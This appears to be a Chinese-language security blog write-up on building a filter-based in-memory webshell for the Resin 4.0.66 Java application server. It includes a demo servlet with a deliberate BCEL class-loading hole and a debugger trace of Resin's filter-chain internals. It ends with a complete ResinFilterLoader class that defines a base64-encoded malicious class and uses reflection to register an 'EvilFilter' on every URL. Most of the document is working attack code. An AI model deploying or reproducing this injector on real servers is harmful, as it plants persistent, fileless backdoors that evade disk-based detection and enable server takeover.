Resin 4.0.66
web.xml如下:
<?xml version="1.0" encoding="UTF-8"?> <web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd"> </web-app>
HelloServlet
package com.example.ResinDemo2; import java.io.*; import javax.servlet.ServletException; import javax.servlet.http.*; import javax.servlet.annotation.*; @WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { private String message; public void init() { message = "Hello World!"; } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().println("Get Request"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String Code = req.getParameter("s"); try { (new com.sun.org.apache.bcel.internal.util.ClassLoader()).loadClass(Code).newInstance(); } catch(Exception e){ e.printStackTrace(); } } public void destroy() { } }
HelloFilter
package com.example.ResinDemo2; import javax.servlet.*; import javax.servlet.annotation.*; import java.io.IOException; @WebFilter(filterName = "HelloFilter",urlPatterns = "/hello-servlet") public class HelloFilter implements Filter { public void init(FilterConfig config) throws ServletException { } public void destroy() { } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { response.getWriter().println("hello world"); chain.doFilter(request, response); } }
在Filter打个断点,开启Debug
请求/ResinDemo2-1.0-SNAPSHOT/hello-servlet
查看IDEA中的调用栈,在调用栈中找第一次调用doFilter
,
FilterChain过滤器链:在一个Web应用中,可以开发编写多个Filter,这些Filter组合起来称为是一个过滤器链,Web服务器根据Filter在web.xml文件中的注册顺序(mapping的配置顺序)决定先调用哪个Filter,依次调用后面的过滤器,如果没有下一个过滤器,则调用目标资源。
所以要直接找第一次调用doFilter的位置,就能更快找到每个filter是如何添加到FilterChain中。
com.caucho.server.dispatch.ServletInvocation
这里第一次调用了doFilter。
在该class中检索_filterChain
,在这个类中有setFilterChain
,这个函数生成_filterChain
。在该函数打下断点,重启resin服务,查看这个函数的调用栈。
Debug至filterchain遍历至HelloFilter时,查看调用栈,跟到FilterMapper::buildDispatchChain
跟进FilterMapper::buildDispatchChain
,该函数主要是遍历FilterMapper._filterMap为FilterMapping类型的元素map,从map中获取filterName
,然后调用FilterMapper._filterManager.createFilter(filterName)
生成具体的Filter类,这里就是生成一个HelloFilter,调用FilterMapper._filterManager.getFilter(filterName)
生成config。
调用栈继续往上回溯,在com.caucho.server.webapp.WebApp::buildInvocation
中看到WebApp对象中有变量是_filterMapper
(FilterMapper
类型)。Resin启动时,在内存中将会生成一个WebApp对象,会将filter所有相关的信息记录在这个变量中。因此如果能获取到WebApp,那么就能获取_filterMapper
。
WebApp的_filterMapper
调用了buildDispatchChain
,然后就回到先前分析的流程。
在此处断点,可见此处获取_filterMapper._filterMap
中的FilterMapping类型的元素map,从map中获取filterName
。所以**在构造内存马的时候,要获取到WebApp._filterMapper,在其_filterMap变量中添加FilterMapping类型的元素,并且该元素中有filterName和urlPattern两个变量。
**
继续往下跟进,_filterMapper._filterManager
调用createFilter
跟进FilterManager::createFilter
,从_filterMapper._filterManager
的_filters
变量(HashMap类型)中通过filterName
获取一个FilterConfigImpl类型的对象config
,如果config≠null
,则继续。因此在构造内存马的时候需要在_filterMapper._filterManager.filters这个Hashmap中存入元素(filterName → FilterConfigImp)
继续跟进,从_filterMapper._filterManager._instances
中通过FilterName,获取具体的Filter对象,这里是HelloFilter对象。因此在构造内存马的时候需要在_filterMapper._filterManager._instances这个hashmap中存入元素(filerName→恶意Filter)
返回生成的Filter
构造一个Filter的必要部分完成,
通过工具快速检索从上下文中获取FilterMapper
https://github.com/c0ny1/java-object-searcher
// 设置搜索类型包含Request关键字的对象 java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("com.caucho.server.dispatch.FilterMapper").build()); // 定义黑名单 java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build()); // 新建一个广度优先搜索Thread.currentThread()的搜索器 me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); // 打开调试模式,会生成log日志 searcher.setIs_debug(true); // 挖掘深度为20 searcher.setMax_search_depth(20); // 设置报告保存位置 searcher.setReport_save_path("/Users/admin/Documents/CodeFile/java/MiddleWare/logs/resin"); searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;} ---> [17] = {com.caucho.env.thread2.ResinThread2} = {com.caucho.env.thread2.ResinThread2} ---> contextClassLoader = {com.caucho.loader.EnvironmentClassLoader} ---> _attributes = {java.util.Map<java.lang.String, java.lang.Object>} ---> [caucho.application] = {com.caucho.server.webapp.WebApp} ---> _filterMapper = {com.caucho.server.dispatch.FilterMapper}
在表达式中编写
Object obj = Thread.currentThread(); Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("_attributes"); field.setAccessible(true); ConcurrentHashMap _attributes = (ConcurrentHashMap) field.get(obj); WebApp webApp = (WebApp) _attributes.get("caucho.application"); Field _filterManager_field = webApp.getClass().getDeclaredField("_filterManager"); _filterManager_field.setAccessible(true); FilterManager _filterManager = (FilterManager) _filterManager_field.get(webApp); Field _filterMapper_field = webApp.getClass().getDeclaredField("_filterMapper"); _filterMapper_field.setAccessible(true); FilterMapper _filterMapper = (FilterMapper) _filterMapper_field.get(webApp);
import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterManager;
import com.caucho.server.dispatch.FilterMapper;
import com.caucho.server.dispatch.FilterMapping;
import com.caucho.server.webapp.WebApp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.ConcurrentHashMap;
public class ResinFilterLoader extends AbstractTranslet {
private static Object filterMapper = null;
private static Object filterManager = null;
private static String filterName = "EvilFilter";
private static String filterClassName = "com.EvilFilter";
private static String url = "/*";
//加载恶意Filter到内存中
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意filter编译后的class base64编码");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
private static synchronized void GetWebContent() throws Exception {
try {
Object currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
ConcurrentHashMap _attributes = (ConcurrentHashMap) GetField(contextClassLoader, "_attributes");
Object webapp = _attributes.get("caucho.application");
filterManager = GetField(webapp, "_filterManager");
filterMapper = GetField(webapp, "_filterMapper");
} catch (Exception e) {
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
//将恶意Filter写入上下文中
private static synchronized void InjectFilter() throws Exception {
try{
if (filterMapper != null && filterManager != null){
java.lang.Runtime.getRuntime().exec("touch /Users/lishuheng/Documents/CodeFile/java/MiddleWare/test/GetFilterMapperAndManagerOk");
Filter characterEncodingHFilter = (Filter)Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
Field _filterMap_field = filterMapper.getClass().getDeclaredField("_filterMap");
_filterMap_field.setAccessible(true);
ArrayList _filterMap = (ArrayList) _filterMap_field.get(filterMapper);
FilterMapping filtermapping = new FilterMapping();
filtermapping.setFilterName(filterName);
filtermapping.setURLRegexp(url);
_filterMap.add(filtermapping);
Field _filters_field = filterManager.getClass().getDeclaredField("_filters");
_filters_field.setAccessible(true);
HashMap _filters = (HashMap) _filters_field.get(filterManager);
FilterConfigImpl filterConfig = new FilterConfigImpl();
filterConfig.setFilterName(filterName);
_filters.put(filterName,filterConfig);
Field _instances_field = filterManager.getClass().getDeclaredField("_instances");
_instances_field.setAccessible(true);
HashMap _instances = (HashMap) _instances_field.get(filterManager);
_instances.put(filterName,characterEncodingHFilter);
}
}catch (Exception e){
}
}
static {
new ResinFilterLoader();
}
public ResinFilterLoader(){
try{
//加载恶意Filter到内存中
LoadFilter();
//获取上下文
GetWebContent();
//将恶意Filter写入上下文中
InjectFilter();
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}